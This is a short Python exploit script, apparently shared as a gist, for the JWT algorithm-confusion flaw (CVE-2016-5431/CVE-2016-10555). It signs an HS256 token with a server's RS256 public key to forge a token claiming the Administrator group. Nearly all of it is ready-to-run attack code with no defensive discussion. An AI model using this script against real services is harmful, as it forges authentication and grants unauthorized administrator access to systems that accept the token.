Forge a JWT with a RS256 public key to take advantage of CVE-2016-5431/CVE-2016-10555.

generateJwtWithPublicKey.py

from codecs import encode, decode
import hashlib
import hmac
import json

# https://github.com/FlorianPicca/JWT-Key-Recovery
with open('pub.pem', 'rb') as f:
    key = f.read()

header = b'{"typ":"JWT","alg":"HS256"}'
header = encode(header, 'base64').strip()
 
d_payload = {
  "iss": "YOUR_ISSUER",
  "user": "doctor.strange",
  "groups": [
    "Administrator"
  ],
  "iat": 1722823008,
  "exp": 1722909408,
  "jti": "a4254bff-949c-40bc-bad3-b10962b21836"
}

json_payload = json.dumps(d_payload, indent = 4) 
payload = encode(json_payload.encode(), 'base64').strip()

# Sign the payload
sig = hmac.new(key, header + b'.' + payload, hashlib.sha256).digest().strip()
sig = encode(sig, 'base64').strip()

# Format the JWT
jwt = '{}.{}.{}'.format(header.decode(), payload.decode(), sig.decode())
jwt = jwt.replace('=', '') # rfc7515#section-2

str_key = key.decode('utf-8').replace('\\n', '\n').replace('\\t', '\t')
print(f"Forged Token with public key: ", end="\n")
print(str_key, end='\n\n')
print(jwt)